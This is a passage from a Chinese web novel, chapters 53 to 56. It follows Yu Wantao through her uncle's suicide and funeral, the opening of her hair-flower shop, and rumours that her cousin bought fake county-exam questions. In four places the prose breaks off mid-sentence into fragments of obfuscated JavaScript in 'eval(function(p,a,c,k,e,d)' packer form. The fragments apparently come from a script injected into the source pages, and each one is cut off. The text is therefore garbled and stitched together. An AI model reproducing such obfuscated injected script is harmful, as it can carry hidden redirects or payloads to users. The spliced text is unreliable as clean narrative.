“二郎，钱袋在房里的妆匣内，快些把剩下的银子给师傅结了。”，余晚桃操控着轮椅在堂屋里转来转去。 崔玉棠去拿了钱出来，递给木匠:“劳烦师傅跑这一趟了。” “哎！多谢书生和余小娘子。”，木匠乐呵呵地把钱收了，又道:“这轮椅的工艺虽复杂，但做出来了却对那些行动不便之人大有帮助，余小娘子可否将这设计图纸卖予我？” 余晚桃停了下来，浅笑道:“既是造福于他人，那师傅尽管将图纸拿去用便是。” “这到底是余小娘子的手艺，我平白拿了去用总不恰当，不若您出个价？” “算不得我的手艺，拾人牙慧罢了。”，余晚桃沉吟片刻，道:“若师傅真要给，那便作个三五两便成了。” 木匠卖予她的这个轮椅子，加上定金共收了六百文，往后若接单，总是亏不到哪里去的，毕竟这是长久的生意。 “如此，便多谢余小娘子了。”，木匠言语真挚，起身对余晚桃作了一揖，当即便给了五两银子。 待木匠欣然离去，崔玉棠拿了茶盏去洗，回房时见桌案上放着一盒子桃花酥，他捻了一个吃，斜开了一窗隙借些光，盘腿坐到榻上去看书。 “二郎怎么不与我说话了？”，余晚桃转悠着轮椅进来，停到墙角边去，站起来蹭到案榻对面，撑着下巴看他，捻了块桃花酥吃。 崔玉棠转了一个方向，把书对着窗，不搭理她。 “你闻闻我香不香？”，余晚桃撑着上半身凑过去，笑吟吟地说:“我在陈府里泡了撒满花瓣的温泉池，整个人被腌得入味，身上都是花香，似是干芍药，又像合欢？还是玫瑰来着。” “玫瑰。”，崔玉棠淡淡觑她一眼:“自己买过干玫瑰花瓣都不记得其味馥郁香浓。” “谁说我不记得了，逗你呢。”，余晚上掩着嘴咯咯直笑，她哼了一声，坐回去翘起腿来:“还当有人真不与我说话了呢。” “有人是谁？”，崔玉棠翻了一页书:“总之不是我。” “那可能是平安吧。”，余晚桃瞥着他:“许是我出门不带它，它生气了，等下回再去，我就带着平安一道去泡个花瓣浴，教它泡得香喷喷的，给它赔罪。” 崔玉棠啪地将书合上，一口气给自己塞了两桃花酥，瞪着对面。 余晚桃逗完了书生，又开始给他捋毛:“当然了，要是二郎也想去，那也是可以的，毕竟二郎读书辛苦，是不是？” “你再来扰我，今日的课业就做不完了。”，崔玉棠看着她那嘚瑟劲，一下便冷静下来了，并且坦然地将自己没做完课业的锅扣过去，慢悠悠倒了盏茶吃。 余晚桃闻言，自顾爬回床上躺得舒舒服服，对他说:“一日事一日了，做不完课业今儿就别上榻。” 她打了个哈欠，放松了心神眯个盹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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余晚桃将它拎起来，放到肩膀上，谁知平安这狗崽子跟她顽计谋，到了高处就猛扑过去，咬住其中一块腊肉，吊在上头悬空着晃来晃去的都不舍得松口。 “哎！余平安！”，余晚桃忙伸手抱住狗崽子往后扯，“松嘴，我是缺你吃的了吗？馋得你。” 小细柳拿着刀过来。 余平安唰地松了嘴，扒到余晚桃身上去，尾巴藏进肚子里。 “这馋嘴的赖皮玩意，好好的一块腊肉就糟蹋了。”，小细柳将被狗咬过的那块割了下来，伸手拧了罪魁祸首一把。 余平安转着溜黑的狗眼，冲她吠了一声。 “还敢顶嘴！” “汪！” 余晚桃拍了下它的屁股，“再敢凶细柳姐，晚上就没你肉吃了，傻狗子。” 小细柳龇牙道:“个狗崽还想吃肉，看给它养得，短短一个月功夫就圆了一圈，这么胖这以后哪里还逮得着老鼠。” 村里人养狗，最多喂两碗猪糠，再由着它们自己找食吃，哪有顿顿吃肉的说法，好些人家都吃不上那些好肉呢，全教狗肚子糟蹋了。 余晚桃虚虚笑了两声，将平安放下来让它自己去玩。 要让她由着平安去吃屎，那是不可能的，宠物狗的底线，就是不吃屎！ 这厢将屋里院里全打扫干净，余晚桃把买回来的剪纸和红纸对联拿出来，搬了凳子去院门外的横梁贴红纸。 小细柳在底下给她递米糊糊。 “阿桃！”，崔玉棠从远处唤了一声。 余晚桃回头看去，见他一脸严肃，空着两手回来，“怎么了？” “舅舅去了。”，崔玉棠声音平静。 哗啦一声，手上的红纸和对联全掉进了雪地里，余晚桃脑子里嗡地响了一下，整个人有些摇摇欲坠。 “哎桃子——”，小细柳刚要伸手去扶，崔玉棠就先一步闪身过来把她抱下了凳子。 “怎……怎么会这样突然？”，余晚桃回想着月初与舅舅辞别时，身体已然是好了许多的，况且有李氏照看着，怎么都不会这样突然就去了。 崔玉棠皱着眉，将地上的红纸和对联拾起来，交给小细柳:“细柳姐，我与阿桃得过去舅舅那边，今晚许是回不来，家里面劳你多辛苦些了。” “我知道，你们安心过去吧，家里有我呢。” “阿桃，走吧。”，崔玉棠牵着她往陈家走，半响才道:“舅舅是自缢的，舅母那头说是她早上随着牛车去县里采买年货，回来时就看见他拿自己的裤腰带，勒在了床架上，人就这么去了。” 到陈家时，里面已经站满了人。 村里人纷纷让开位置，给两人进去，余村长语气沉重道:“桃子，节哀。” 余晚桃喉咙发紧，进了堂屋便见陈老根躺在搬到正中间的床板上，穿戴整齐，李氏弓着腰在帮他擦脸，刮胡茬。 余晚桃突然不敢去看陈老根那张青灰色的脸，怔怔站在门口位置，手抓着崔玉棠的胳膊。 “桃子，去房里把你舅舅那根烟杆子拿出来吧，他最是好这口，就让他带着走吧。”，李氏连头都没抬，认真地做着手上的动作。 余晚桃的心，沉了下来。 她默声去了房里。 余天庆将崔玉棠喊了出去，“村里已经有人去通知陈文祖了，不过现在陈家里没个男人顶着，桃子在她舅舅膝下养过几年，你是她相公，也算陈家半个儿子，有些事得你去操劳。” 崔玉棠拱了拱手:“我对村中丧仪了解不多，还请庆叔指点一些。” 53. 第 53 章 翌日便是年三十，除夕夜，陈家这一场丧，打了大桑村村民们一个措手不及。 辛苦劳累一整年，都想挣个喜庆的好兆头，好教来年顺顺利利的。 可白事晦气，碍于同村情份又不得不去帮忙，好些人家心里怄着一口气，都是当家汉子出的面，其他人都紧闭门户，不往陈家那边去。 陈家冷清得很，连白席都没有置办，只请了唱灵的师傅们过来，另一头紧急采买棺材和其他需要备的物甚。 入了棺，师傅敲鼓，唱祭词，余晚桃和李氏披麻戴孝跪在棺材边，左右各点上一盏长明灯。 另一头，去县里喊陈文祖的人回来了，那人被冻得直打哆嗦，喘着气愤怒道:“我去了县里，一开始他们家大门紧闭不见人，陈文祖躲着我呢，后来我跑到他岳家去，才见着人，可却是不愿意回来，说按习俗停灵三天，他陪岳家过了除夕再回来，正好赶上最后一天去扶灵。” “这个文祖越来越不像话了！” “天庆。”，余村长将余天庆唤到跟前来，稳声道:“你带着二郎，去一趟他岳家，就是绑，也得把人绑回来！亲爹没了，作为家中长子却不回来送，他眼里还有没有祖宗礼法了。” “我跟庆叔去。” 余晚桃脱了身上的麻衣，从堂屋里走出来，平静道:“大过年的也不好真的闹到表嫂娘家去绑人。” “二郎，你就在这边照应着吧，我了解表哥，知道怎么劝他回来。”，她将脱下来的麻布衣递过去，稍微踮脚附在他耳畔，放低了声音:“我刚才似听村里几个酒蒙子说上午见过一辆陌生的马车回村，奔的就是陈家的方向，你等会去侧面问一问。” 崔玉棠怔了下，应了一声“好。” 余晚桃同余天庆一道出了陈家，往县里赶，一入了城门口就直奔苏秀才府，近了府前，见处处挂着新年红绸带，贴着喜庆的福娃剪纸。 余天庆没好脸道:“陈文祖这小畜生，老根累死累活这么多年供他读书，就供出了这么一个冷血的白眼狼来。” “庆叔，我们到后门去。” 苏府后门是一条窄巷，两边通长，对应的是后院位置，余晚桃去叩响了门上的圆环，没一会就有下人过来开门了。 “小娘子何事扣门？” 余晚桃笑了下，说:“我是县里酒儿巷余家的，来找仪姐儿，前些日子与她顽时，她落了一个贴身的物甚在我这，赶巧了今儿早上才发现，便想着拿过来还她，一年圆圆满满的，总不好将丢物的事拖到明年去。” 来开门的是府里后院养马的小厮。 他推着门打量余晚桃，观人是个眉清目秀的小娘子，举止言谈得体，穿的也是好料子，想来是自家小姐的手帕交姐妹儿，便与人道了一声，跑去通传。 苏仪儿很快出来，见果然是余晚桃，忙迎了过去，展着眉眼道:“我一听便知晓是你，我识得的人里头，就只有你在酒儿巷那头置了家业的。” 她牵着余晚桃的手，将人带进了院里的回廊下，躲着巷里吹过来的冷风，面上有些许疑惑，“你来寻我，直接从前门报了名号进来就是，怎么还特地来后门这头？” “表嫂，表哥今早是不是回过村？” “是回了一趟，说送些年节礼回去，怎么？” 余晚桃此时心中更加确定自己的想法，陈老根突然的自缢，定然与陈文祖这次回村有关系。 陈文祖回了村，却又悄悄走了，若心里没鬼，这朝怎会不愿意回去，他是一个读书人，自然知晓孝道的重要性，万一被人知晓了他轻忽父亲丧事，未尽为人子之孝道，那名声便算是毁了。 “表嫂可知，舅舅去了。”，余晚桃径直道出事实，刚欲与她讲分明，却发现陈文祖自回廊那头怒气冲冲地过来，一把将苏仪儿扯到身后去，恶瞪着余晚桃:“你来这作甚！” “相公，桃子方才说——” “闭嘴！”，陈文祖转头急喝了她一声，继续看向余晚桃:“爹的事我已经说过了会回去，只是要陪岳父母过了除夕，为何还要几次三番地追过来！” 余晚桃平静注视着他，冷声道:“陈文祖，你口口声声说是为了陪岳父母才没有办法回去给亲爹送终，不知苏秀才可晓得了你这番天大的儿婿孝心？” “苏秀才乃清贵文人，饱读圣贤书数载，怎会做这种有违孝道之事，若真像你说的这般，待来日消息传出，便是苏秀才自持身份，强留儿婿在家中过除夕，导致儿婿无法回村给家中老父亲送终，此举当是陷他于不仁义之地。” 陈文祖脸黑似墨，整个人身上散发着阴郁之气，面目更是几近狰狞，读书人文雅的模样不复存在。 他沉声道:“你莫要诡辩，我何时说过是岳父强留我在府上的！” “你是没直言说，但你字字句句在表达的都是这个意思，今日既然到了府上，我也该去拜访一下苏秀才，将这事说一说，才好教表哥不这般为难。” “你！”，陈文祖目眦尽裂。 苏仪儿从惊楞中回过神，她一把拂开陈文祖的手，失望道:“我爹从未说过那样的话，相公为什么要瞒着公爹去世的消息？” “仪儿，你不懂这些。”，陈文祖狰狞的脸上透出一抹强行压抑过后的笑意，温声道:“外头天冷，快些回屋去歇着吧，爹那边，我这便回去。” “身为儿媳，理应去送公爹一程的。”苏仪儿淡淡地看着他:“这是为人子应尽的孝道，相公难道不明白？” “我自是明白的。” 陈文扯着嘴角，道:“这就让小厮套马车去。” 余晚桃先一步出了苏府，那处不知道陈文祖与苏府的人说了甚么，只晓得苏秀才夫妇得知了消息，遣了马车让家里小厮送夫妻二人去大桑村。 回到村里，陈文祖几乎是低头掩着面，挡住村里人指指点点的视线，匆匆步入灵堂里去的。 李氏扭头看了他一眼，甚都没说。 接下来的守灵、扶灵送葬，清理家中陈老根的遗物，都是村里当家汉子帮忙，封棺时请了神婆子来掐算，因着陈老根是自缢而去，为了不将秽怨带到新的年头里，最终只停了一天灵，在年三十就抬到坟山去下了葬。 下葬完当夜里，陈家人坐在堂屋中吃了一顿饭。 一切事了，余晚桃落了筷，轻声道:“舅舅已入土为安，有些事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“当时要一两银子是和你爹两人的，现在就我自己，你每旬就给我五百文，我也看开了，不想再跟你们争论这些。” 说话间，她回屋去拿了一个陈旧的小木箱出来，打开后里面是一小包碎银。 “这是老根这些年辛辛苦苦积攒下来的家底，其中很多都给了文祖读书，现在只剩十二两了，今日就给你们分一分，事到如今我也不偏颇你们任何一个，一人五两，剩下的二两我自己拿。” 分了银子，李氏就说累了，让他们各自散去。 陈文祖准备带着苏仪儿连夜赶回县去，踏出堂屋门口前，李氏喊住了他，突然问:“那天早晨，你真的没跟你爹说什么话吗？” 陈文祖侧着身，半边脸隐藏在黑夜里，他再次肯定地回答:“没有。” 余晚桃听清了他的回答，面无表情地走出了陈家。 逝者已去，死无对证。 那天陈文祖到底跟陈老根说了什么，没人知道。 她侧头看了一眼身后的青砖瓦房，仿佛在告别那不安、惊惶、痛苦的一段回忆。 从今往后，陈家与她再无瓜葛。 54. 铺子开张 雪消春意绿，转眼便至二月初，华纱绒花铺正式开业的日子。 时下褪去了厚重的棉衣大氅，虽料峭春寒，但为了博个好彩头，余晚桃特意穿了轻薄的浅红色江南缎子，臂弯间绕着一条雀纱披帛，行走间袅袅婷婷，随着步风飘扬而起的弧度衬得其神采奕奕，明媚夺目。 铺子外头响起接二连三的鞭炮声。 余晚桃笑着掀开珠帘，到门口去迎人。 “余小娘子好本事，年纪轻轻便靠自己开得这么大一间铺子。” 余晚桃笑道:“二位夫人可打趣我了，快请进，此番可要多谢二位夫人赏脸前来撑撑场子，今儿铺子开张，看上甚么品通通都八折，让小工带您二位去转一转？” 刘夫人与陈夫人是一道过来的，两人挽着手步上台阶，俨然是极好的一对儿手帕交，得了小工过来引力引路，便笑呵呵地进了铺子里。 陈小绣辍在后面，与余晚桃眨了下眼睛:“今儿来的人可真多，晚桃姐姐你在县里的人脉可以咧。” “还成吧。”，余晚桃推了她胳膊一下，说:“快些进去吧，莫不成你还想站这与我一道迎客？” “才不呢，云姐儿可托了我，让我买几件首饰给她寄过去，还说府城里的首饰铺子一点都比不上你的手艺呢。” 陈小绣说着话，拎起层层叠叠的金织裙摆进了铺子，也不用小工过来带，自己便逛了起来，转到放了十二生肖绒花摆件的木展架前，她竟见县令家的那位三夫人也过来了。 边上一些夫人过去攀谈，瞧着人还挺好说话的。 那身后两个丫鬟各拿着一樽老虎摆件，几人转悠着又到首饰架那边去了。 陈小绣去寻余晚桃，小声问她:“你甚么时候还结识了县令夫人，真是厉害。” “哪里就结识了，不就是上次去吃云姐儿的喜酒，顺手帮了他们家小公子一把吗。”，余晚桃忙着招待铺子里的客人呢，她唤了窈儿来，说，“你带着绣姐儿去试几支簪子。” “哎，行，陈小姐随我去小雅间里坐会吧，我给您取几样过去试戴。” “还有雅间可以坐着试戴？”，陈小绣微讶，旋即笑了起来，“那我可得好好体验一番。” “快些去罢，可莫来烦我。”，余晚桃笑说。 陈小绣冲她哼了一声，扭头随着窈儿去了。 余晚桃这边刚得下闲来，外头鞭炮又响起，认命地捶捶酸软的两条腿，出去迎人。 来人是红娘胭脂铺的东家佟红，她依旧打扮得招扬，自顾自进了铺子，“余小娘子不介意我也来凑个热闹吧。” “佟姐姐说的哪里话，你能来我可高兴着呢，快里面请。” 佟红甩着条鲜艳的披帛进去，引得铺子里的夫人小姐们纷纷侧目看去。 她直奔首饰区，拿了将支桃花簪和一尾做工精细华美的孔雀珠幕，全然不用试戴，拿着便去柜台处结账。 见柜台里算账的还是位眉目漂亮俊秀的郎君，她掩嘴笑了起来，打趣道:“余小娘子去哪里请来的账房先生，长得真是招人稀罕。” “甚么账房先生，这是人家余小娘子的相公，在青山书院里读书呢。”，边上有人觑她，见不得她这嘴里没个把门的性子。 佟红扭着腰抵在柜台边，“还是个书生郎，余小娘子吃得可真好。” 进铺子里的余晚桃，刚巧听到这句话，惊得一个趔趄，这话怎么听着怪怪的，她瞥了一眼柜台前安然不动，埋头算账的书生，扬着笑走过去。 “我家书生脸皮薄，佟姐姐可莫要趣他。” 佟红眉梢带笑:“逢人见了如此俊秀的郎君都得多瞧两眼不是，你看周围的小姐们哪个不是悄悄往柜台处打量的。” 佟东家这话一出来，害得周围好几位偷偷打量过漂亮书生郎的的小姐们闹了一个红脸，揪着帕子走开了。 余晚桃掩嘴轻笑，这么说倒真像是崔玉棠进了蜘蛛精老窝里似的，铺子里全是姑娘家们，就他一个读书郎，混在胭脂香堆里给人算账。 得亏了前两日哄过，不然非得恼了去不可。 余晚桃落落大方与她言笑道:“今儿也是真忙，才教二郎撂了课业过来帮忙算下账，佟姐姐爱看便尽管看去，待明儿真正的账房先生过来了，你可瞧不着我家这书生了。” 这朝说着话，铺子里就进了一帮子你推我搡的书生，有甚些个害羞的，试图拿折扇挡住自家半边脸遮遮掩掩地躲在后面，却被那些个不要脸的同窗大咧咧地扯了进来。 扬声便道:“早先在文谈盛会上得知，此处有梅老同款梅花簪，不知是否为真？” “崔兄！”，被同窗扯过来壮胆子的刘郯，打眼便瞧见了在柜台前的好友，面上大喜，当即抛弃了不着调的几个同窗，疾步过去略拱拱手，“崔兄大才！不仅文章做得好，算术更是十分精湛啊，都能做账房先生了。” 崔玉棠淡淡看着他，眼里不见喜悦。 “哎刘郯！”，刚扬声问梅老同款的那书生气急败坏地过来，先拱拱手对崔玉棠行了同窗礼，再瞪住刘郯:“说好的一起来买梅老同款，你跑什么呢？” 刘郯大呼冤枉:“这铺子就是崔兄家里的啊，要买梅老同款找崔兄最合适了。” 崔玉棠搁下算盘，对旁侧比手:“窈儿姑娘，可否带我这几位同窗去瞧瞧梅花簪。” “自是可以。”，窈儿微微福身，介绍道:“我们铺子里增设了男子区呢，除了梅老同款的梅花簪，梅老小像的书签，还有绒花折扇、纯蚕丝织的梅老游历专用斜挎书袋。” 刘郯原是一双眼睛黏在窈儿脸上，却听得她说些新奇的玩意，一时来了兴趣，“书签是何物？” 行至了男子区里，窈儿从架上一格拿出张薄长精致缀着流苏的书签来，与他介绍道:“我们东家了解到书院学子都爱惜书籍，但每每温习下来都是以折角为记号，如此好好的一本书就满是折印子了。” “这书签薄利且好用，只需往书页里轻轻一夹，流苏绕一圈留至书根处，待下次翻动书本，便自然知晓上次阅读到哪一页了。” 见书生们面上感兴趣，窈儿抿唇轻笑，继续道:“况且此书签上还绣了梅老小像，诸位想想，每当自己秉灯夜读，困倦不已要睡过去时，将书签拿出来一瞧，梅老身影跃于眼前，定会受梅老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“佟姐姐，我听闻白沙镇那边近来风浪大，珍珠的货源不是很稳定，你铺子里可有受影响？” 佟红支着脑袋斜躺在榻上，慢悠悠吃着茶点，“不曾受影响啊，怎么，你的海商供货断了？” “倒没断。”，余晚桃吃了口茶，秀眉微蹙，她与了那家海商的名头给佟红听，苦恼道:“若真是如此，只怕得另外找进货渠道了。” 佟红闻言便差不多觉出其中些弯弯绕绕来，她啧了一声，“那海商诓你呢，这般不实诚的趁早踹了才好，你若想要长期稳定的进货商，最好是亲自去白沙镇探察一番，那边疍民队挺多的。” 江南府靠海，白沙镇更是在沿海一带，当地人多是凭海上的手艺生存，疍民渔农多，海鲜和海货的价格都不会很高，像最常见的蚌珠，也就是白珍珠，论斤散卖五十文左右，她这种批量购，价只会更低。 那海商，明显是单冲着她的铺子来涨价的。 余晚桃回去便托了人去打听那海商在白沙镇的门头，准备过一阵等铺子里的女工们能自己上手接单了，再亲去一趟白沙镇。 55. 第 55 章 三月初歇店，余晚桃把二月份的盈利算出来，在后院搭了个简易的班子，让几个女工坐着，一人发一本产品图册。 她坐在前头，声音温和道:“二月份新铺子开张，确实忙了些，所以在原定的工钱上，会有五十文额外的奖金，这些日子里也忙里偷闲，教了你们一些手艺，今儿有甚问题都可以提一下，若没有，那三月份就开始独立做簪了。” “东家，我排丝时总拿捏不住力道，掐丝也粗糙。”，一个圆脸姑娘举起手，满脸郁闷地扬声。 余晚桃扶额:“冬枝，你莫要拿推磨的力道去拧紧铜丝，做簪子力道不重要，重要的是每一丝力气都得恰到好处。” 冬枝这姑娘大大咧咧的，从前在豆腐坊里帮工，日日睁眼就是磨豆腐，石磨推久了做甚都下意识猛然发力。 干活虽勤快，但学做簪的火候却不如其他几位，愁得两条眉毛整天叠起来。 余晚桃说了冬枝，窈儿便忍不住笑，“冬姐儿夜里做梦喊的都是磨豆腐和做簪子呢。” 冬枝红了脸，悄悄瞪了窈儿一眼。 其实大家都是差不多年纪的姑娘，十五六岁，余晚桃原身年纪也不大，但毕竟活过两辈子，心理层面会成熟一些，所以面对着这些从慈济堂出来的姑娘，都会耐心去教。 她与冬枝道:“人各有所长，你若实在不擅长做簪，不妨想想在铺子里，做什么是做得最好的，且心里也喜欢。” 冬枝垂着脑袋认真回想在铺子里的一个多月，她帮忙招呼客人，引着客人去试戴，又每天去阁楼搬货、打包装、备茶点，打扫铺子，缺甚补甚，哪里都跑。 她虚声道:“我好像只能做一些打杂的活，什么都能做一些，但是做得都不够好。” 冬枝不似其她姑娘聪颖，学做簪子很快便能上手，她能被选过来，就是靠着嘴甜，和圆脸圆眼的面相喜庆，讨人喜欢。 “那便是你的长处了呀，你细心且做事周全，可做为铺子里的后勤统筹，一间铺子想要顺利经营下去，不单单要有做手艺的簪娘，还要有人负责管理，统筹杂务。” 冬枝不擅手艺，却在可以当做一个管理人才培养。 正好她有去白沙镇的打算，若冬枝能独当一面，铺子里的事她也就能稍微放一放，没准将来能是个不错的掌柜。 待几个女工都回去了后，余晚桃才同窈儿说起二月份的总盈利。 她将窈儿那部分拿了出来，笑着道:“二月总盈利有二百三十多两，我将铺子周转的银子留了出来，余下的便按照先前说好的那样。” “这是你二月份的分成。” 余晚桃递了一个荷包过去，沉甸甸的。 窈儿从未想过，光是靠自己，能赚到这么多银子，筹备期以及铺子开张后的这一个月，她跟着忙前忙后，夜里都在赶工，如今收获回报，只觉得就连那些熬夜的日子里，都是甜的。 “这才刚开始，我们以后要赚更多的钱，华纱绒花铺将来会开到府城，甚至京都去。”，余晚桃对未来充满希望和斗志。 赚了钱，便得去吃一顿好的，庆祝一番。 书院里旬休，有两日的假期。 余晚桃去书院外接人，却发现出来的书生们稀稀落落的，在门口互相道了别，各自离去，甚是冷清，不似往常每逢旬休书院外头都挤满了马车。 崔玉棠独自出来，上了马车，将书袋递给余晚桃，自己接过了缰绳，“该寻个时间去牙行里挑一个勤恳的小厮，我在书院时，他能帮着你做些粗活，驾驾马车这些。” 余晚桃将书袋挂在车壁上，闻言有些犹豫，作为一个接受过现代教育的人来说，她是抵制人口买卖的，“家里和铺子来来往往都是姑娘家，如何好买一个男子回去。” “挑十二三岁的便可，届时与牙人言明将官奴剔除在外，只从自愿出来卖身为奴讨口饭吃的贫苦人家里挑个老实的。” 贫苦人家里，十二三岁，已经能独自出来讨生活了，而官奴都是犯官家眷，买回去少不得生事端，不好管。 余晚桃应了一声好，说:“我回头去牙行看一下吧。” 到了酒楼外，崔玉棠跳下马车，将缰绳递给门口伺候的小工，转身扶着余晚桃下来。 这酒楼算是容县里最为气派的一家了，足有三层楼高，一楼散客，二楼三楼都是雅间，光是预定就得先拿出二两银子。 余晚桃虽明面上也是个东家了，但也不是个挥霍的性子，便在一楼订了能看清台上戏场的位置。 “今儿你们书院为何这般冷清？”，落了坐，余晚桃挥手让小二上茶。 崔玉棠在她对面坐下，将滑至身前的长发往后背拨开，待小二上了茶，自取了茶盏来倒了一杯推过去，说道:“县试将至，都留在书院里埋头苦读呢。” 三月份的县试…… 余晚桃忽而想到一问题:“你不参加今年的县试吗？” “崔夫子说我进学时间尚短，文章欠缺些火候，但去试一试无妨，我最近正在考虑。” “听你语气，似是十分运筹帷幄。” 谈话间小二过来传菜，话题便歇了。 余晚桃点的几样都是酒楼的招牌菜，其中一道碧玉翡翠羹她听陈小绣念叨过几次，便记在了心里，这朝菜一上来，便迫不及待地试了一口那道碧玉翡翠羹。 鸡汤打底，稠羹内添加了鸡肉糜和猪肉糜，色泽碧绿那层用的应是菠菜打碎之后，慢火熬制的，边上还有一些瑶柱肉，和雕刻过的白菜帮，摆出来的造型好瞧，像上等的翡翠花苞。 不过味道，马马虎虎。 余晚桃抿了抿嘴，小声说:“这家菜做得漂亮。” 崔玉棠有些忍俊不禁，不过却也认同，来这吃饭的都是富贵人家，冲的不是菜本身，而是酒楼的名头和精致菜肴带来的可观赏性。 “这道蜜酱鸭片不错。”，崔玉棠动手夹了一片过去，温柔道:“沾些蜂蜜，应是会合你的口味。” 鸭片表面那层蜜酱是酸梅酱，再沾些蜂蜜吃起来便是酸酸甜甜的。 余晚桃爱吃酸甜口和辣口，她试了一片，觉得确实不错，便将那小碗推开，专心吃蜜酱鸭片。 崔玉棠动作自然地把她剩下的小半碗碧玉翡翠羹吃完，微微低头间眉眼落拓，丝毫不见扭捏与介意。 “崔兄，巧啊——”，话音落下，旁侧空位已然自来熟地坐下一人，并且十分迅速地招呼小二多拿了一副碗筷过来。 刘郯面露微笑:“不介意拼个桌吧？” 崔玉棠眉都不抬一下，伸手给余晚桃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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刘郯:“我这消息保真的，有人亲眼见过书院里的学生同府城来的官老爷们出入小夜巷，据说五十两银子，能换一套考题。” 换言之，就是五十两换一个童生名额。 听着便不靠谱，谁能蠢到轻信这种事。 县试考题是朝廷委派学政亲自负责的，每年科举考试都是重中之重，满朝百官都盯着，一旦辖下负责的府道出现问题，朝中死对头再参上一本，指定吃瓜落。 怎可能明目张胆地卖县试考题。 崔玉棠眉心不自觉蹙紧，似是想到了甚么事，她望了余晚桃一眼，欲言又止。 半响才道:“我在书院里也听到了些流言，应该是有一伙人冒充府城学官，拿着假考题骗那些心术不正的学子，此时若再发酵几日，官府定会出手追查。” 届时，凡事买过假考题的学子，恐会被官府剥夺下场文牒，甚至终身禁止参加科举考试，前途路断。 “你莫因好奇过多关注，免得引火上身。”，秉承着同窗情谊，崔玉棠多劝了他一句。 刘郯忧心忡忡地哦了一声，心里头却对此事抱了一个更大的疑团。 崔玉棠方才欲言又止，似是知道买县试考题的学子是谁。 56. 贞洁烈夫 从酒楼归家，途径一蛤蜊煎小摊前，闻得其香味诱人，余晚桃没忍住打了两份回去。 待晚间盘账，一边数着钱一边吃蛤蜊煎，嘴里还哼着不成调的曲子，引得在对面桌案上埋头苦读的崔玉棠频频抬头。 如此过了小半时辰，他终于按耐不住，伸长手臂过来叩了叩桌面，“你把你的桌案挪到对面去。” 崔玉棠往对面的矮榻指。 “干嘛？这样多好呀。”，余晚桃嘲笑道:“书呆子，连红袖添香都不懂。” 崔玉棠沉默以对。 余晚桃干脆把四四方方的桌案推过去，与他的书案并在一起，啪叽一下，将那碟蛤蜊煎放在了摊开的《论语》上。 “快尝尝，这蛤蜊煎挺好吃的。” 崔玉棠把自己的书拯救出来，怜爱地摸了摸，问她:“你这账盘了一晚上还没盘清？” “先前盘的是公账，现在点的是我们的纯盈利。”，余晚桃抱着膝盖，歪歪斜斜地靠趴在案边，“如果之后每个月的纯盈利能有这个月的一半，那再过半年我们就可以去府城开分铺了，到时候你考上了秀才，正好要去府城那边读书。” 崔玉棠无奈道:“现下我连个童生都没考呢。” 余晚桃瞬间挺直胸脯，豪迈道:“那你要是考不上，就来给我打下手，我开工钱养你。” “到时候再说，你——”，崔玉棠干脆起身，“今儿就看到这吧，夜已深，该睡了。” “哦哦哦~”，余晚桃把自己的桌案挪回去，匆匆收了上面的算盘和钱袋子账册，坐到床边等着。 崔玉棠出去一会，端着热水回来给她洗脸漱口，又泡了会脚，才熄了烛火歇下。 皎洁月光从窗纸缝隙间透进来，余晚桃翻了个身，忽而道:“我打算去一趟白沙镇。” “何时？” “过几天吧，我先把铺子里的一些事教给冬枝，不然哪里能脱得开身。” 崔玉棠借着月色伸手在她脸上碰了一下，说:“可以等我下次旬休回来，再一起去。” “不用，你准备县试吧。” 光是一个县里的童生试，都有上千学子，然而却只取前百名上榜，可谓是千人过独木桥，在这节骨眼上，谁不是头悬梁锥刺股，没个像崔玉棠这样，还有闲情陪她去白沙镇的。 “那明日一起去趟牙行。”，崔玉棠的声音里带着一股倦意，音色愈发隐在浓稠的夜色里，“睡吧。” “嗯，这就睡了。”余晚桃闭上眼，脑海里不知怎的就想起白天刘郯在酒楼里说的那事，她往外靠去，凑到崔玉棠的跟前，眨了眨眼，看淡淡月色倾泻在他侧脸上。 清冷、皎洁，宛若月亮的颜色。 余晚桃倏地忘了要说什么，整副心神都被那微颤的鸦睫给吸引了。 “看什么？” 崔玉棠陡然睁开眼，深深地望进她眼底。 余晚桃一下慌了神，用力闭上眼，掩耳盗铃一般，说:“我要睡觉了。” “刚才，想问刘郯在酒楼里说的事？”，崔玉棠似心有灵犀，一语中的。 空气中窒凝片刻，余晚桃慢吞吞地睁开眼，将半张脸藏进被里，侧目透了一个眼神过去，“我是想问，你是不是早就知道书院学子买假考题的事？” “嗯。”，说起此事睡意倒消散了些，崔玉棠双手枕着后脑，斟酌问道:“你可知小夜巷是甚么地方？” 余晚桃:“那边都是歌舞酒女支盛行的奢靡之地吧，白天静幽幽的，夜里鼓乐不停，是县里的花巷。” “有一回游兄在那设宴硬拉着我去了，我无意久留，便半途离开，期间见过几个书生同位宽脸男子从其一包间中出来，隐约听到些谈话，但不真切，前后逻辑也理不顺。” “直到买考题的风声在私底下传开，我才将此事串联起来，五十两，府城，包中。” 说到此处，他意有所指道，“那几个书生里，陈文祖也在其中。” 五十两，买一套县试考题。 余晚桃还有甚么不明白的。 